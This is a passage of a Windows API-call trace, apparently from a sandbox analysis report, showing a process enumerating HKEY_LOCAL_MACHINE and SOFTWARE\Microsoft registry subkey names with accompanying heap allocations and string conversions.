0x0 [0221.682] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0221.682] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bc58 [0221.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x49bc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0221.682] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bca0 [0221.682] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bc58) returned 1 [0221.682] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bca0) returned 1 [0221.682] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.682] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x49b930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0221.683] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0221.683] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bca0 [0221.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x49bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0221.683] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bc58 [0221.683] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bca0) returned 1 [0221.683] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bc58) returned 1 [0221.683] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.683] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x49b930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0221.683] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0221.683] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bc58 [0221.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x49bc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0221.683] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bca0 [0221.683] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bc58) returned 1 [0221.683] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bca0) returned 1 [0221.683] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.683] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0221.683] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x184) returned 0x49d040 [0221.683] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bca0 [0221.683] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bc58 [0221.683] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bce8 [0221.683] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bd30 [0221.683] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bd78 [0221.683] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bdc0 [0221.683] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49be08 [0221.684] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49be50 [0221.684] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49be98 [0221.684] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bee0 [0221.684] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bf28 [0221.684] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bf70 [0221.684] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bfb8 [0221.684] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c000 [0221.684] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c048 [0221.684] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c090 [0221.684] RegCloseKey (hKey=0x80000002) returned 0x0 [0221.684] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x49b930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0221.684] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0221.684] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x49c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0221.684] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.684] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.684] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.684] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.684] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x49b930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0221.684] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0221.684] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x49c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0221.684] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.684] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.684] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.684] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.684] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x49b930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0221.684] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0221.685] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x49c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0221.685] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.685] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.685] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.685] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.685] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x49b930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0221.685] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0221.685] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x49c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0221.685] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.685] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.685] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.685] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.685] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x49b930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0221.685] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0221.685] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x49c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0221.685] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.685] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.685] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.685] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.685] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x49b930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0221.685] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0221.685] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x49c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0221.686] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.686] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.686] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.686] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.686] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x49b930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0221.686] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0221.686] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x49c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0221.686] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.686] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.686] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.686] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.686] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0221.686] RegCloseKey (hKey=0xc4) returned 0x0 [0221.686] RegEnumKeyW (in: hKey=0x38, dwIndex=0x0, lpName=0x49b930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0221.686] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0221.686] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x49c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0221.686] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.686] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.686] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.686] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.686] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1, lpName=0x49b930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0221.686] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0221.686] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x49c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0221.687] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.687] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.687] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.687] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.687] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2, lpName=0x49b930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0221.687] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0221.687] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x49c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0221.687] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.687] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.687] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.687] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.687] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3, lpName=0x49b930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0221.687] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0221.687] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x49c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0221.687] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.687] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.687] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.687] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.687] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4, lpName=0x49b930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0221.687] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0221.687] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x49c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0221.687] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.687] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.687] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.687] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.687] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5, lpName=0x49b930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0221.688] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0221.688] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x49c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0221.688] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.688] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.688] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.688] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.688] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6, lpName=0x49b930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0221.688] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0221.688] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x49c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0221.688] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.688] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.688] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.688] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.688] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7, lpName=0x49b930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0221.688] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0221.688] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x49c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0221.688] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.688] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.688] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.688] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.688] RegEnumKeyW (in: hKey=0x38, dwIndex=0x8, lpName=0x49b930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0221.688] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0221.688] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x49c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0221.688] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.688] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.688] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.689] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.689] RegEnumKeyW (in: hKey=0x38, dwIndex=0x9, lpName=0x49b930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0221.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0221.689] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x49c0d8, cbMultiByte=17, 